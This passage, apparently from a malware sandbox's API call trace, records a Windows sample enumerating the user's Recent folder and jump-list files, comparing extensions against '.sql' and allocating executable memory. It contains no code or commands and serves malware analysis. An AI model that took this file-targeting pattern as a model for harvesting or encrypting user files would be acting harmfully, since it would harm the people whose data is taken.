lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk" [0054.846] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.846] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0054.847] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0054.847] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.847] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.847] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2=".") returned 1 [0054.847] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2="..") returned 1 [0054.847] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6ttfnwVzD3wR1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk" [0054.847] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.847] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0054.847] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0054.847] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.847] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.847] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2=".") returned 1 [0054.847] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2="..") returned 1 [0054.847] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6z- of0Ate9fxiX14.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk" [0054.847] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.847] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0054.847] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0054.847] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.847] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.848] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2=".") returned 1 [0054.848] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2="..") returned 1 [0054.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="7OmvA6Oj54HnGnXR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk" [0054.848] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.848] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0054.848] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0054.848] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.848] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.848] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2=".") returned 1 [0054.848] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2="..") returned 1 [0054.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8BQk0ewUYfCpH5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk" [0054.848] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.848] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0054.848] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0054.848] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.848] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.848] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2=".") returned 1 [0054.848] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2="..") returned 1 [0054.848] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8Frf.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk" [0054.848] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.848] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0054.849] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0054.849] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.849] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.849] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2=".") returned 1 [0054.849] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2="..") returned 1 [0054.849] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8UW6wrCE2.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk" [0054.849] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.849] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0054.849] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0054.849] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.849] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.849] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2=".") returned 1 [0054.849] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2="..") returned 1 [0054.849] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aFOzj3YZTHvF.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk" [0054.849] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.849] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0054.849] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0054.849] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.850] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.850] lstrcmpW (lpString1="ArQS.lnk", lpString2=".") returned 1 [0054.850] lstrcmpW (lpString1="ArQS.lnk", lpString2="..") returned 1 [0054.850] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ArQS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk" [0054.850] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.850] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0054.850] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0054.850] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.850] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.850] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2=".") returned 1 [0054.850] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2="..") returned 1 [0054.850] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AThZQX4 Xqy.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk" [0054.850] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.850] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0054.850] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0054.850] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.850] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.850] lstrcmpW (lpString1="AutomaticDestinations", lpString2=".") returned 1 [0054.851] lstrcmpW (lpString1="AutomaticDestinations", lpString2="..") returned 1 [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0054.851] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.851] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.851] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.851] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.851] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.851] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned 85 [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" [0054.851] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b85f0 [0054.851] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.851] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.851] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.851] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.851] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.851] lstrcmpW (lpString1="1bc9bbbe61f14501.automaticDestinations-ms", lpString2=".") returned 1 [0054.851] lstrcmpW (lpString1="1bc9bbbe61f14501.automaticDestinations-ms", lpString2="..") returned 1 [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="1bc9bbbe61f14501.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" [0054.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned 126 [0054.851] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.851] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.851] lstrcmpW (lpString1="5f7b5f1e01b83767.automaticDestinations-ms", lpString2=".") returned 1 [0054.851] lstrcmpW (lpString1="5f7b5f1e01b83767.automaticDestinations-ms", lpString2="..") returned 1 [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="5f7b5f1e01b83767.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" [0054.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned 126 [0054.851] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.851] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.851] lstrcmpW (lpString1="61ebb1e65cfcb8da.automaticDestinations-ms", lpString2=".") returned 1 [0054.851] lstrcmpW (lpString1="61ebb1e65cfcb8da.automaticDestinations-ms", lpString2="..") returned 1 [0054.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="61ebb1e65cfcb8da.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" [0054.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="6d2bac8f1edf6668.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="6d2bac8f1edf6668.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="6d2bac8f1edf6668.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="7e4dca80246863e3.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="969252ce11249fdd.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="969252ce11249fdd.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="969252ce11249fdd.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="9cfafb05ce914942.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="9cfafb05ce914942.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="9cfafb05ce914942.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="b8ab77100df80ab2.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="b8ab77100df80ab2.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="b8ab77100df80ab2.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="d00655d2aa12ff6d.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="d00655d2aa12ff6d.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="d00655d2aa12ff6d.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="eb282ead62b4db87.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" [0054.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 126 [0054.852] lstrcmpW (lpString1=".automaticDestinations-ms", lpString2=".sql") returned -1 [0054.852] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.852] lstrcmpW (lpString1="f01b4d95cf55d32a.automaticDestinations-ms", lpString2=".") returned 1 [0054.852] lstrcmpW (lpString1="f01b4d95cf55d32a.automaticDestinations-ms", lpString2="..") returned 1 [0054.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", 